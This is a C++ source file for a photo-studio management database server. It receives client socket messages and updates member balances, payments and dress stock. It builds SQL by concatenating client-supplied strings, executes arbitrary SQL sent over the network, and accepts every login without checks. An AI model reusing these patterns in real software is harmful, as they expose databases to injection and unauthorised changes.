lyfz_repos/经典版源码/lyfzddfServer/trunk/Services Trunk1/ConnectSocket.cpp

/********************************************************************/
/*																	*/
/*  CONNECTSOCKET.CPP												*/
/*																	*/
/*  Implementation of the Connect Socket.							*/
/*	This class is a part of the CConnectThread which handles		*/
/*  socket connections. Incomming data is processed in OnReceive	*/
/*																	*/
/*  Programmed by LYFZ van der Meer								*/
/*  Based partially on and inspired by FileZilla Server.			*/
/*																	*/
/*	http://www.LYFZvandermeer.nl									*/
/*																	*/
/*  Last updated: 15 july 2002										*/
/*																	*/
/********************************************************************/
//在ConnectSocket.cpp文件中实现连接套接字的创建，该类是CConnectThread类的
//一部分，收到数据由函数OnReceive()完成处理。 movenext 4096
#include "stdafx.h"
#include "DBServer.h"
#include "theDBServer.h"
#include "ConnectSocket.h"
#include "ConnectThread.h"
#include "DBServerDlg.h"
#include "DataSocket.h"
#include "mysqldata.h"
#include "./include/netMain.h"
#include "./include/protocolhdr.h"
#include "./include/struct_def.h"
#include "Lzari.h"
#include "MyLock.h"
#include "Shlwapi.h"
#include "CalendarConvert.h"
#include "AddUserDlg.h"
#ifdef _DEBUG
#define new DEBUG_NEW
#undef THIS_FILE
static char THIS_FILE[] = __FILE__;
#endif
extern CDBServerDlg *g_pMainWnd;
extern CtheDBServer theServer;

extern CtheDBServer *g_pWndServer;

BOOL CConnectSocket::MyExecuteSQL(CString sql)
{
	try
	{
		if(sql.Find ("refresh balance")!=-1)
		{
			CString str="refresh balance memberreg3";
			if(sql.Find (str)!=-1)
			{
				sql=sql.Right (sql.GetLength ()-str.GetLength ());
				UpdateMemberReg3(sql); 
				return 1;
			}
			str="refresh balance memberreg4";
			if(sql.Find (str)!=-1)
			{
				sql=sql.Right (sql.GetLength ()-str.GetLength ());
				UpdateMemberReg4(sql); 
				return 1;
			}
			str="refresh balance memberreg2";
			if(sql.Find (str)!=-1)
			{
				sql=sql.Right (sql.GetLength ()-str.GetLength ());
				Updatememberreg2(sql); 
				return 1;
			}
			return 1;
		}
		else if(sql.Find ("refresh singleincomemoney")!=-1)
		{ 
			CString str="refresh singleincomemoney";
			sql.Delete(0, str.GetLength());
			Updatesingleincomemoney(sql); 
			return 1;
		}
		else if(sql.Find ("gentakecontent:")!=-1)
		{
			int pos=sql.Find (":");
			CString id=sql.Right(sql.GetLength ()-pos-1);

			CRecordset myset(m_pConndb);
			sql="select count(*) as cot from [dindansp3] where [id]='"+id+"'";
			myset.Open (CRecordset::forwardOnly, sql);
			myset.GetFieldValue ("cot", sql);
			myset.Close();
			if(atoi(sql)>0)return 1;

			CArray<CStringArray, CStringArray>g_List1array;
			sql="select count(*) as cot from dindansp where [id]='"+id+"'";
			myset.Open (CRecordset::forwardOnly, sql);
			myset.GetFieldValue ("cot", sql);
			myset.Close();
			int count=atoi(sql);
			if(count==0)return 1;
			g_List1array.SetSize(count , 1 );
			CRstDinDanSP2 rsSt;	
			rsSt.m_pDatabase = m_pConndb; 
			rsSt.m_strFilter = "[id]='" + id + "'";
			rsSt.Open();
			int	ii=0;
			while(!rsSt.IsEOF())
			{
				g_List1array.ElementAt (ii).RemoveAll ();
				g_List1array.ElementAt (ii).Add(rsSt.spid) ; 
				g_List1array.ElementAt (ii).Add(rsSt.name) ;
				g_List1array.ElementAt (ii).Add(rsSt.shuliang) ;
				ii++;
				rsSt.MoveNext();
				if(g_List1array.GetSize ()<=ii)break;
			}
			rsSt.Close();
			g_List1array.SetSize(ii, 1);

			for(ii=0; ii<g_List1array.GetSize(); ii++)
			{	
				if(g_List1array.ElementAt(ii).ElementAt(1)=="入册")continue;
				if(g_List1array.ElementAt(ii).ElementAt(1)=="入底")continue;
				sql.Format ("insert into [dindansp3]([id],[spid],[name],[count])values('%s','%s','%s','%s')",
id,g_List1array.ElementAt(ii).ElementAt(0),g_List1array.ElementAt(ii).ElementAt(1),g_List1array.ElementAt(ii).ElementAt(2));
				m_pConndb->ExecuteSQL (sql);
			}
			return 1;
		}
		else if(sql.Find ("writelog:")!=-1)
		{
			int pos=sql.Find (":");
			CString content=sql.Right(sql.GetLength ()-pos-1);
			CTime tm=CTime::GetCurrentTime ();
			CString date=tm.Format ("%Y-%m-%d");
			CString datetime=tm.Format ("%Y-%m-%d %H:%M:%S");
			sql.Format ("insert into [log]([date],[datetime],[content])values('%s','%s','%s')",date,datetime,content);

			m_pConndb->ExecuteSQL (sql);
			return 1;
		}
		else if(sql.Find ("deletephotos")!=-1)
		{
			// Jeff:直接返回 2014.10.28
			// [deletephotos][相片类型：0~3][20141022-011][;][all]
			// [deletephotos][相片类型：0~3][20141022 - 011][;][001, 002, 003, 004]
			WriteLogin("存在恶意连接,执行删除相片命令：" + sql);//------------------------------
			return TRUE;
		}
		else if(sql.Find ("insert into sendregdelay")!=-1)
		{
			static DWORD ticks=::GetTickCount();
			CTime tm=CTime::GetCurrentTime ();
			if(::GetTickCount()-ticks<1000)
				tm+=CTimeSpan(0,0,0,3);
			ticks=::GetTickCount();

			sql.Replace("777888", tm.Format ("%Y%m%d%H%M%S"));
			m_pConndb->ExecuteSQL (sql);
			return 1;
		}
		m_pConndb->ExecuteSQL (sql);
		return 1;
	}
	catch(CDBException * e)
	{	
		WriteError(sql+"操作数据库失败"+e->m_strError);
		e->Delete();
		return 0;
	}
}

void CConnectSocket::DeleteMemberReg(CString str)
{
	int	pos=str.Find ("###");
	CString sql,id;
	sql.Format ("select [id] from [memberreg] where %s", str.Left (pos));
	CRecordset myset(m_pConndb);
	myset.Open (CRecordset::forwardOnly, sql);
	myset.GetFieldValue ("id", id);
	myset.Close();
	sql.Format ("delete from [memberreg] where [id]=%s", id);
	MyExecuteSQL (sql);
	str=str.Right (str.GetLength ()-pos-3);
	UpdateMemberCard(str);
}

void CConnectSocket::Updatememberreg2(CString memberno)
{
	int	pos=memberno.Find ("&&&");
	CString memberno2, m_id;

	if(pos!=-1)
	{
		memberno2=memberno.Left (pos);
		m_id=memberno.Right (memberno.GetLength ()-pos-3);
	}
	else
	{
		pos=memberno.Find (";");
		if(pos!=-1)
		{
			memberno2=memberno.Left (pos);
			m_id=memberno.Right (memberno.GetLength ()-pos-1);
		}
		else
			memberno2=memberno;
	}
	UpdateMemberCard(memberno2);
}

void CConnectSocket::UpdateMemberCard(CString memberno)
{
	int	pos=memberno.Find ("###");
	if(pos!=-1)
	{
		while(pos!=-1)
		{
			UpdateMemberCard(memberno.Left (pos));
			memberno=memberno.Right (memberno.GetLength ()-pos-3);
			pos=memberno.Find ("###");
		}
		UpdateMemberCard (memberno);
		return;
	}

	CString money,money2;
	CRecordset myset(m_pConndb);

#ifdef SQLSERVER_VERSION
	CString sql="select sum(cast(money as float)) as cot from [memberreg] where [memberno]='"+memberno+"' ";
#else
	CString sql="select sum(money) as cot from [memberreg] where [memberno]='"+memberno+"' ";
#endif

	myset.Open (CRecordset::forwardOnly, sql);
	myset.GetFieldValue ("cot", money);
	myset.Close();


#ifdef SQLSERVER_VERSION
	sql="select sum(cast(point as float)) as cot from [memberreg2] where [memberno]='"+memberno+"' ";
#else
	sql="select sum(point) as cot from [memberreg2] where [memberno]='"+memberno+"' ";
#endif

	myset.Open (CRecordset::forwardOnly, sql);
	myset.GetFieldValue ("cot", money2);
	myset.Close();

	CString str;
	str.Format ("%0.2f", atof(money)-atof(money2));
	sql.Format ("update [membermanage] set [money]='%s' where [memberno]='%s' ", str, memberno);
	MyExecuteSQL (sql);
}

void CConnectSocket::Updatesingleincomemoney(CString id)
{
	CString money,money2;
	CRecordset myset(m_pConndb);

	CString sql;
	sql.Format("select money from [singleincome] where [id]=%s", id);
	myset.Open (CRecordset::forwardOnly, sql);
	myset.GetFieldValue ("money", money);
	myset.Close();


#ifdef SQLSERVER_VERSION
	sql="select sum(cast(money as float)) as cot from [singleincomemoney] where [id]='"+id+"' ";
#else
	sql="select sum(money) as cot from [singleincomemoney] where [id]='"+id+"' ";
#endif

	myset.Open (CRecordset::forwardOnly, sql);
	myset.GetFieldValue ("cot", money2);
	myset.Close();

	CString payed,balance;
	payed.Format ("%0.1f", atof(money2));
	balance.Format ("%0.1f", atof(money)-atof(money2));


	sql.Format ("update [singleincome] set [payed]='%s',[balance]='%s' where [id]=%s ", payed, balance, id);
	MyExecuteSQL (sql);
}

void CConnectSocket::UpdateMemberReg3(CString memberno)
{
	CString money,money2,money3,money4;
	CRecordset myset(m_pConndb);

#ifdef SQLSERVER_VERSION
	CString sql="select sum(cast(money as float)) as cot,sum(cast(money2 as float)) as cot2 from [memberreg3] where [memberno]='"+memberno+"' ";
#else
	CString sql="select sum(money) as cot from [memberreg3] where [memberno]='"+memberno+"' ";
#endif
	myset.Open (CRecordset::forwardOnly, sql);
	myset.GetFieldValue ("cot", money);	
	myset.GetFieldValue ("cot2", money4);
	myset.Close();

#ifdef SQLSERVER_VERSION
	sql="select sum(cast(money as float)) as cot from [memberreg4] where [memberno]='"+memberno+"' ";
#else
	sql="select sum(money) as cot from [memberreg4] where [memberno]='"+memberno+"' ";
#endif

	myset.Open (CRecordset::forwardOnly, sql);
	myset.GetFieldValue ("cot", money2);
	myset.Close(); 

#ifdef SQLSERVER_VERSION
	sql="select sum(cast(money as float)) as cot from [membercard3usereg] where [memberno]='"+memberno+"' ";
#else
	sql="select sum(money) as cot from [membercard3usereg] where [memberno]='"+memberno+"' ";
#endif
	myset.Open (CRecordset::forwardOnly, sql);
	myset.GetFieldValue ("cot", money3);
	myset.Close(); 

	CString str;
	str.Format("%ld", (atol(money) + atol(money4) - atol(money2)) - atol(money3));
	sql.Format ("update [membermanage] set [balance]='%s' where [memberno]='%s' ", str, memberno);
	MyExecuteSQL (sql);
}

void CConnectSocket::UpdateMemberReg4(CString memberno)
{
	int pos=memberno.Find (";");
	if(pos==-1)return;
	CString maincardno,card2no;
	maincardno=memberno.Left (pos);UpdateMemberReg3(maincardno);
	card2no=memberno.Right (memberno.GetLength ()-pos-1);


	CString money,money2;
	CRecordset myset(m_pConndb);


#ifdef SQLSERVER_VERSION
	CString sql="select sum(cast(money as float)) as cot from [memberreg4] where [memberno]='"+maincardno+"' and [card2no]='"+card2no+"'";
#else
	CString sql="select sum(money) as cot from [memberreg4] where [memberno]='"+maincardno+"' and [card2no]='"+card2no+"'";
#endif

	myset.Open (CRecordset::forwardOnly, sql);
	myset.GetFieldValue ("cot", money);
	myset.Close();


#ifdef SQLSERVER_VERSION
	sql="select sum(cast(money as float)) as cot from [membercard3childusereg] where [memberno]='"+card2no+"' ";
#else
	sql="select sum(money) as cot from [membercard3childusereg] where [memberno]='"+card2no+"' ";
#endif


	myset.Open (CRecordset::forwardOnly, sql);
	myset.GetFieldValue ("cot", money2);
	myset.Close();  

	CString str;
	str.Format ("%d", atoi(money)-atoi(money2));
	sql.Format ("update [membercard3] set [balance]='%s' where [memberno]='%s' and [card2no]='%s'", str, maincardno, card2no);
	MyExecuteSQL (sql);
}

void CConnectSocket::UpdateMemberCard2(CString memberno)
{
	CString money;
	CRecordset myset(m_pConndb);


#ifdef SQLSERVER_VERSION
	CString sql="select sum(cast(money as float)) as cot from [memberregblue] where [memberno]='"+memberno+"' ";
#else
	CString sql="select sum(money) as cot from [memberregblue] where [memberno]='"+memberno+"' ";
#endif
	myset.Open (CRecordset::forwardOnly, sql);
	myset.GetFieldValue ("cot", money);
	myset.Close();

	CString str;
	str.Format ("%0.2f", atof(money));
	sql.Format ("update [membermanageblue] set [money]='%s' where [memberno]='%s' ", str, memberno);
	MyExecuteSQL (sql);

	UpdateMemberCard2Balance(memberno);
}

void CConnectSocket::UpdateMemberCard3(CString memberno)
{
	CString money;
	CRecordset myset(m_pConndb);


#ifdef SQLSERVER_VERSION
	CString sql="select sum(cast(money as float)) as cot from [memberreg2blue] where [memberno]='"+memberno+"' ";
#else
	CString sql="select sum(money) as cot from [memberreg2blue] where [memberno]='"+memberno+"' ";
#endif

	myset.Open (CRecordset::forwardOnly, sql);
	myset.GetFieldValue ("cot", money);
	myset.Close();

	CString str;
	str.Format ("%0.2f", atof(money));
	sql.Format ("update [membermanageblue] set [money2]='%s' where [memberno]='%s' ", str, memberno);
	MyExecuteSQL (sql);

	UpdateMemberCard2Balance(memberno);
}

void CConnectSocket::UpdateMemberCard2Balance(CString memberno)
{
	CString money,money2,money3;

	CRecordset myset(m_pConndb);
	CString sql="select money,money2 from [membermanageblue] where [memberno]='"+memberno+"' ";
	myset.Open (CRecordset::forwardOnly, sql);
	if(!myset.IsEOF())
	{
		myset.GetFieldValue ("money", money);
		myset.GetFieldValue ("money2", money2);
	}
	myset.Close();


	CString str;
	str.Format ("%0.2f", atof(money)-atof(money2));
	sql.Format ("update [membermanageblue] set [money3]='%s' where [memberno]='%s' ", str, memberno);
	MyExecuteSQL (sql);
}

void CConnectSocket::UpdateDressBalance(CString dressno)
{//库存=件数-出租数-出售数
	//出租数=出租未回数
	CString hirecount,washcount,salecount,balance,count;
	CTime curtm=CTime::GetCurrentTime ();


	CString today=curtm.Format ("%Y-%m-%d");
	CRecordset myset(m_pConndb);

#ifdef SQLSERVER_VERSION
	CString sql="select sum(cast([count] as float)) as cot from [dresshiredata] where [no]='"+dressno+"' and [isreturn]='未还' and [hireorsale]='租' and [date1]<='"+today+"' and [date2]>='"+today+"'";
#else
	CString sql="select sum(count) as cot from [dresshiredata] where [no]='"+dressno+"' and [isreturn]='未还' and [hireorsale]='租' and [date1]<='"+today+"' and [date2]>='"+today+"'";
#endif

	myset.Open (CRecordset::forwardOnly, sql);
	myset.GetFieldValue ("cot", hirecount);
	myset.Close();


#ifdef SQLSERVER_VERSION
	sql="select sum(cast([count] as float)) as cot from [dresshiredata] where [no]='"+dressno+"' and [isreturn]='未还' and [hireorsale]='洗' and [date1]<='"+today+"' and [date2]>='"+today+"'";
#else
	sql="select sum(count) as cot from [dresshiredata] where [no]='"+dressno+"' and [isreturn]='未还' and [hireorsale]='洗' and [date1]<='"+today+"' and [date2]>='"+today+"'";
#endif

	myset.Open (CRecordset::forwardOnly, sql);
	myset.GetFieldValue ("cot", washcount);
	myset.Close();

#ifdef SQLSERVER_VERSION
	sql="select sum(cast([count] as float)) as cot from [dresshiredata] where [no]='"+dressno+"' and [hireorsale]='售'";
#else
	sql="select sum(count) as cot from [dresshiredata] where [no]='"+dressno+"' and [hireorsale]='售'";
#endif


	myset.Open (CRecordset::forwardOnly, sql);
	myset.GetFieldValue ("cot", salecount);
	myset.Close();

	sql="select [count] from [dressinfo] where [no]='"+dressno+"'";
	myset.Open (CRecordset::forwardOnly, sql);
	if(!myset.IsEOF())
		myset.GetFieldValue ("count", count);
	myset.Close();


	balance.Format ("%d", atoi(count)-atoi(hirecount)-atoi(salecount)-atoi(washcount));


	hirecount.Format ("%d", atoi(hirecount));
	salecount.Format ("%d", atoi(salecount));
	washcount.Format ("%d", atoi(washcount));

	sql="update [dressinfo] set [hirecount]='"+hirecount+"',[washcount]='"+washcount+"',[salecount]='"+salecount+"',[balance]='"+balance+"' where [no]='"+dressno+"'";
	MyExecuteSQL (sql);
}

void CConnectSocket::UpdateBuKuan(CString id)
{
	try
	{
		CString memberno;
		int pos=id.Find ("$$$");	
		if(pos!=-1)
		{
			memberno=id.Right (id.GetLength ()-pos-3);
			id=id.Left (pos);
		}
		CString money;
		CRecordset myset(m_pConndb);
#ifdef SQLSERVER_VERSION
		CString	sql="select sum(cast(money as float)) as cot from dindanbukuan where id='"+id+"' ";
#else
		CString	sql="select sum(money) as cot from dindanbukuan where id='"+id+"' ";
#endif

		myset.Open (CRecordset::forwardOnly, sql);
		myset.GetFieldValue ("cot", money);
		myset.Close();
		sql.Format ("update dindan set payed5='%s' where id='%s' ", money, id);
		MyExecuteSQL (sql);
		if(!memberno.IsEmpty ())
		{
			UpdateMemberCard(memberno);
		}

	}
	catch(...)
	{
	}
}

void CConnectSocket::UpdateBurnCdReg(CString id)
{
	try
	{
		CString bruncount;
		CRecordset myset(m_pConndb);
		CString	sql="select count(*) as cot from burncdreg where id='"+id+"' ";
		myset.Open (CRecordset::forwardOnly, sql);
		myset.GetFieldValue ("cot", bruncount);
		myset.Close();
		sql.Format ("update dindan set bruncount='%s' where id='%s' ", bruncount, id);
		MyExecuteSQL (sql);
	}
	catch(...)
	{
	}
}

void CConnectSocket::UpdateBuKuan2(CString id)
{
	try
	{
		int pos=id.Find ("@@@");	
		if(pos!=-1)
		{
			id=id.Left (pos);
		}
		CString money;
		CRecordset myset(m_pConndb);


#ifdef SQLSERVER_VERSION
		CString	sql="select sum(cast(money as float)) as cot from dindanbukuan2 where id='"+id+"' ";
#else
		CString	sql="select sum(money) as cot from dindanbukuan2 where id='"+id+"' ";
#endif

		myset.Open (CRecordset::forwardOnly, sql);
		myset.GetFieldValue ("cot", money);
		myset.Close();
		sql.Format ("update dindan set payed4='%s' where id='%s' ", money, id);
		MyExecuteSQL (sql);
	}
	catch(...)
	{
	}
}

void CConnectSocket::GetOldStatus2(CArray<CStringArray, CStringArray>*array, CString autoid, CString &status1, CString &status2, CString &status3, CString &status4, CString &oldno)
{
	try
	{
		status1="未完成";
		status2="未取";
		status3="";
		status4="";
		oldno="";
		for(int i=0; i<array->GetSize (); i++)
		{
			if(autoid==array->ElementAt (i).ElementAt (0))
			{
				status1=array->ElementAt (i).ElementAt (1);
				status2=array->ElementAt (i).ElementAt (2);
				status3=array->ElementAt (i).ElementAt (3);
				status4=array->ElementAt (i).ElementAt (4);
				oldno=array->ElementAt (i).ElementAt (5);
				return;
			}
		}
	}
	catch(...)
	{
	}
}

/********************************************************************/
/*																	*/
/* Function name : CConnectSocket::CConnectSocket					*/
/* Description   : Constructor										*/
/*																	*/
/********************************************************************/
CConnectSocket::CConnectSocket()
{
	m_bLoggedon = FALSE;
	m_bRenameFile = FALSE;
	m_pDataSocket = NULL;
	m_nRemotePort = -1;
	m_dwRestartOffset = 0;
	m_bPassiveMode = FALSE;
	m_reved=0;
	m_dateleng=0;
	m_pRevBuf=NULL;
	m_pThread=NULL;

	for(int i=0; i<LISTSIZE; i++)
	{
		g_ListData[i]=NULL;
		g_ListLeng[i]=0;
		g_ListSize[i]=0;
	}

	m_bSendOK=1;
}


void CConnectSocket::Init()
{

}

/********************************************************************/
/*																	*/
/* Function name : CConnectSocket::~CConnectSocket					*/
/* Description   : Destructor										*/
/*																	*/
/********************************************************************/
CConnectSocket::~CConnectSocket()
{

	if(m_pThread)
	{
		DestroyDataConnection();
		// tell our thread we have been closed
		AfxGetThread()->PostThreadMessage(WM_QUIT,0,0);
		TRACE0("CConnectSocket destroyed.\n");
		if(m_pRevBuf)delete []m_pRevBuf;
	}

	//	if(m_pThread) WriteLogin("内存释放");
	for(int i=0; i<LISTSIZE; i++)
	{
		if(g_ListData[i]) delete [](g_ListData[i]);
		g_ListData[i]=NULL;
		g_ListLeng[i]=0;
		g_ListSize[i]=0;
	}
}


// Do not edit the following lines, which are needed by ClassWizard.
#if 0
BEGIN_MESSAGE_MAP(CConnectSocket, CSocket)
	//{{AFX_MSG_MAP(CConnectSocket)
	//}}AFX_MSG_MAP
END_MESSAGE_MAP()
#endif	// 0


/********************************************************************/
/*																	*/
/* Function name : OnClose											*/		
/* Description   : Send WM_QUIT message to the thread containing	*/
/*				   the socket to shutdown once the connection is	*/
/*                 closed.											*/
/*																	*/
/********************************************************************/
void CConnectSocket::OnClose(int nErrorCode) 
{
	try
	{
		Close();
		// destroy connection
		m_pThread->PostThreadMessage(WM_THREADMSG, 1, 0);
		TRACE("CConnectSocket() OnClose()\n");

		CSocket::OnClose(nErrorCode);
	}
	catch(...)
	{
	}
}

#define BUFFERSIZE 4096
//#define BUFFERSIZE 102600

/********************************************************************/
/*																	*/
/* Function name : OnReceive										*/		
/* Description   : Called by the framework to notify this socket	*/
/*                 that there is data in the buffer.				*/
/*																	*/
/********************************************************************/
//由主窗口调用通知套接字缓冲区中有数据要接收
void CConnectSocket::OnReceive(int nErrorCode) 
{
	TCHAR buff[BUFFERSIZE];
	//接收数据并放到缓冲区
	int nRead = Receive(buff, BUFFERSIZE);
	switch (nRead)
	{
	case 0:
		Close();
		break;
	case SOCKET_ERROR:
		if (GetLastError() != WSAEWOULDBLOCK) 
		{
			TCHAR szError[256];
			wsprintf(szError, "OnReceive error: %d", GetLastError());
			WriteLogin(szError);
		}
		break;
	default:
		if (nRead != SOCKET_ERROR && nRead != 0)
		{
			((CConnectThread *)AfxGetThread())->IncReceivedBytes(nRead);
			TMessageHeader *pMessageHeader = (TMessageHeader *)buff;
			/*网络字节顺序的转换*/
			ntohs(pMessageHeader->wHeaderFlag);
			ntohs(pMessageHeader->wMessageId);
			ntohs(pMessageHeader->wMessageSubId);
			ntohl(pMessageHeader->dwDataLen);
			ntohs(pMessageHeader->wCheckSum);
			ntohl(pMessageHeader->wReserve);
			if(pMessageHeader->wMessageId ==MSG_LOGIN_REQ && m_bSendOK)
			{
				// WriteLogin("login");
				WORD wMessageId = MSG_LOGIN_RESP;
				LOGIN_RESULT_STRU tLoginResult = {0};
				tLoginResult.tCommonMsg.dwConnectionID = 0;
				tLoginResult.tCommonMsg.wMessageId = wMessageId;
				tLoginResult.byResult = LOGIN_RESULT_SUC;
				tLoginResult.dwUserID = 0;
				tLoginResult.byStatus =  USER_STATUS_ONLINE ;
				DWORD dateleng=pMessageHeader->dwDataLen+MESSAGE_HEADER_LEN;
				DWORD dwDataLen = sizeof(LOGIN_RESULT_STRU);
				TMessageHeader tHeader = {0};
				tHeader.wMessageId = wMessageId;
				tHeader.dwDataLen = dwDataLen;
				net_Send(&tHeader, (void *)&tLoginResult, dwDataLen); 
			}
			else //if(pMessageHeader->wMessageId ==MSG_CHATMESSAGE_REQ) 
			{
				/*	char *pDataBuf = (char *)buff + MESSAGE_HEADER_LEN;
				TCHAT_MESSAGE_STRU *pChatMessage = (TCHAT_MESSAGE_STRU *)pDataBuf;
				DWORD dwConnectionID = pChatMessage->tCommonMsg.dwConnectionID;
				processChatMessageRequest((void *)pChatMessage);*/
				// 结束字符串
				//	 WriteLogin("receive");
				if(pMessageHeader->wHeaderFlag==MESSAGE_HEADER_FLAG  && pMessageHeader->wMessageId ==MSG_CHATMESSAGE_REQ)
				{
					m_bSendOK=0;
					if(m_pRevBuf)delete []m_pRevBuf;m_pRevBuf=NULL;m_reved=0;m_dateleng=0;
					m_dateleng=pMessageHeader->dwDataLen+MESSAGE_HEADER_LEN;
					m_pRevBuf=new BYTE[m_dateleng];
					//WriteLogin("开始接收");
				}

				// Jeff.如果上面if成立,表示第一次接收数据,否则表示续接没收完的数据;不过此处没有进么其他有效续接的判断,可能会造成接收错误;
				// Jeff.没有对数据的完整性进行验证;
				// Jeff.在全部数据接收完后,通过指定方式将接收的数据进行一次校验;
				if(m_dateleng==0)return;
				::memcpy(m_pRevBuf+m_reved, buff, min(nRead, m_dateleng-m_reved));
				m_reved+=min(nRead, m_dateleng-m_reved);
				//	CString ss;
				//	ss.Format ("接收:%d/%d", m_reved, m_dateleng);
				//	WriteLogin(ss);
				if(m_reved>=m_dateleng)
				{
					m_bSendOK=1;
					//	WriteLogin("接收完成");
					char *pDataBuf = (char *)m_pRevBuf + MESSAGE_HEADER_LEN;
					TCHAT_MESSAGE_STRU *pChatMessage = (TCHAT_MESSAGE_STRU *)pDataBuf;
					m_reved=0;m_dateleng=0;
					processChatMessageRequest((void *)pChatMessage);
				}
			}
		}
		break;
	}
	CSocket::OnReceive(nErrorCode);

}


/********************************************************************/
/*																	*/
/* Function name: GetRxCommand										*/		
/* Description  : Get command from receiver buffer.					*/
/*																	*/
/********************************************************************/
//从接收缓冲区获得命令
BOOL CConnectSocket::GetRxCommand(CString &strCommand, CString &strArguments)
{
	return FALSE;
}


/********************************************************************/
/*																	*/
/* Function name: GetRxLine											*/		
/* Description  : Parse complete command line						*/
/*																	*/
/********************************************************************/
//解析整个命令行
void CConnectSocket::GetRxLine()
{
}


/********************************************************************/
/*																	*/
/* Function name: OnConnect											*/		
/* Description  : Called by the framework to notify this connecting	*/
/*				  socket that its connection attempt is completed.  */
/*																	*/
/********************************************************************/
void CConnectSocket::OnConnect(int nErrorCode) 
{
	CSocket::OnConnect(nErrorCode);
}


/********************************************************************/
/*																	*/
/* Function name: HasConnectionDropped								*/		
/* Description  : Check if connection has been dropped.				*/
/*				  Used to detect if client has crashed.				*/
/*																	*/
/********************************************************************/
BOOL CConnectSocket::HasConnectionDropped(void)
{
	try
	{
		BOOL bConnDropped = FALSE;
		INT iRet = 0;
		BOOL bOK = TRUE;

		if (m_hSocket == INVALID_SOCKET)
			return TRUE;

		struct timeval timeout = { 0, 0 };
		fd_set readSocketSet;

		FD_ZERO(&readSocketSet);
		FD_SET(m_hSocket, &readSocketSet);

		iRet = ::select(0, &readSocketSet, NULL, NULL, &timeout);
		bOK = (iRet > 0);

		if(bOK)
		{
			bOK = FD_ISSET(m_hSocket, &readSocketSet);
		}

		if(bOK)
		{
			CHAR szBuffer[1] = "";
			iRet = ::recv(m_hSocket, szBuffer, 1, MSG_PEEK);
			bOK = (iRet > 0);
			if(!bOK)
			{
				INT iError = ::WSAGetLastError();
				bConnDropped = (( iError == WSAENETRESET) ||
					(iError == WSAECONNABORTED) ||
					(iError == WSAECONNRESET) ||
					(iError == WSAEINVAL) ||
					(iRet == 0));
			}
		}
		return(bConnDropped);
	}
	catch(...)
	{
	}
	return 1;
}


/********************************************************************/
/*																	*/
/* Function name: SendResponse										*/		
/* Description  : Send response to client.							*/
/*																	*/
/********************************************************************/
//发送响应给客户端
BOOL CConnectSocket::SendResponse(LPCTSTR pstrFormat, ...)
{
	return TRUE;
}

//从客户端解析并执行命令
void CConnectSocket::ParseCommand()
{
}


/********************************************************************/
/*																	*/
/* Function name: FireStatusMessage									*/		
/* Description  : Fire status message.								*/
/*																	*/
/********************************************************************/
void CConnectSocket::FireStatusMessage(LPCTSTR lpszStatus, int nType)
{
	try
	{
		g_pWndServer->AddTraceLine(nType, "[%d] %s", m_pThread->m_nThreadID, lpszStatus);
	}
	catch(...)
	{
	}
}


/********************************************************************/
/*																	*/
/* Function name: CreateDataConnection								*/		
/* Description  : Create data transfer connection.					*/
/*																	*/
/********************************************************************/
BOOL CConnectSocket::CreateDataConnection(int nTransferType, LPCTSTR lpszData)
{
	return TRUE;
}


/********************************************************************/
/*																	*/
/* Function name: DestroyDataConnection								*/		
/* Description  : Close data transfer connection.					*/
/*																	*/
/********************************************************************/
void CConnectSocket::DestroyDataConnection()
{
}

unsigned long CConnectSocket::net_Send(IN void *pHeader, IN void *pMessage, IN unsigned long ulDataLen)
{
	try
	{ 
		unsigned long ulSendLen = 0;
		unsigned long ulBufLen = 0;

		TMessageHeader *pSendHeader = (TMessageHeader *)pHeader;

		ulBufLen = MESSAGE_HEADER_LEN + ulDataLen; 
		char *pSendBuf = new char[ulBufLen];
		memset(pSendBuf, 0, ulBufLen);

		TMessageHeader *pMessageHeader = (TMessageHeader *)pSendBuf;
		pMessageHeader->byVersion = 101;
		pMessageHeader->wHeaderFlag = MESSAGE_HEADER_FLAG;
		pMessageHeader->wMessageId = pSendHeader->wMessageId;
		pMessageHeader->wMessageSubId = pSendHeader->wMessageSubId;
		pMessageHeader->dwDataLen = ulDataLen;
		pMessageHeader->wReserve = 0;

		memcpy((void *)(pSendBuf+MESSAGE_HEADER_LEN), pMessage, ulDataLen);

		// convert network word  	
		htons(pMessageHeader->wHeaderFlag);
		htons(pMessageHeader->wMessageId);
		htons(pMessageHeader->wMessageSubId);
		htonl(pMessageHeader->dwDataLen);
		htons(pMessageHeader->wCheckSum);
		htonl(pMessageHeader->wReserve); 

		//Send the message

		//判断连接是否在活动状态
		//	AfxMessageBox("send");
		if (HasConnectionDropped())
		{
			FireStatusMessage("Could not send reply, disconnected.", 2);	

			Close();
			// 通知线程已经停止，关闭连接
			m_pThread->PostThreadMessage(WM_THREADMSG, 1, 0);
			//		AfxMessageBox("send fail 1");
			return FALSE;
		}
		int nBytes = CSocket::Send((void *)pSendBuf, ulBufLen);
		if (nBytes == SOCKET_ERROR)
		{
			Close();
			FireStatusMessage("Could not send reply, disconnected.", 2);	

			//通知线程连接已经关闭
			m_pThread->PostThreadMessage(WM_THREADMSG, 1, 0);
			//AfxMessageBox("send fail 2");
			return FALSE;
		}
		((CConnectThread *)AfxGetThread())->IncSentBytes(nBytes);


		//AfxMessageBox("send ok");

		delete [] pSendBuf;
		pSendBuf = NULL;


		return nBytes;
	}
	catch(...)
	{
	}
	return 0;
}

unsigned long CConnectSocket::net_Send2(IN void *pMessage, IN unsigned long ulDataLen)
{
	try
	{
		if (HasConnectionDropped())
		{
			FireStatusMessage("Could not send reply, disconnected.", 2);	
			Close();
			// 通知线程已经停止，关闭连接
			m_pThread->PostThreadMessage(WM_THREADMSG, 1, 0);
			return FALSE;
		}
		int nBytes = CSocket::Send((void *)pMessage, ulDataLen);
		if (nBytes == SOCKET_ERROR)
		{
			Close();
			FireStatusMessage("Could not send reply, disconnected.", 2);	

			//通知线程连接已经关闭
			m_pThread->PostThreadMessage(WM_THREADMSG, 1, 0);
			return FALSE;
		}
		((CConnectThread *)AfxGetThread())->IncSentBytes(nBytes);

		return nBytes;
	}
	catch(...)
	{
	}
	return 0;
}

void FillHeader(BYTE *pSendData, WORD wMessageId, DWORD dwDataLen)
{
	TMessageHeader *pMessageHeader =(TMessageHeader*)pSendData;

	pMessageHeader->byVersion = 101;
	pMessageHeader->wHeaderFlag = MESSAGE_HEADER_FLAG;
	pMessageHeader->wMessageId = wMessageId;
	pMessageHeader->wMessageSubId = 0;
	pMessageHeader->dwDataLen = dwDataLen;
	pMessageHeader->wReserve = 0;

	/* convert network word */	
	htons(pMessageHeader->wHeaderFlag);
	htons(pMessageHeader->wMessageId);
	htons(pMessageHeader->wMessageSubId);
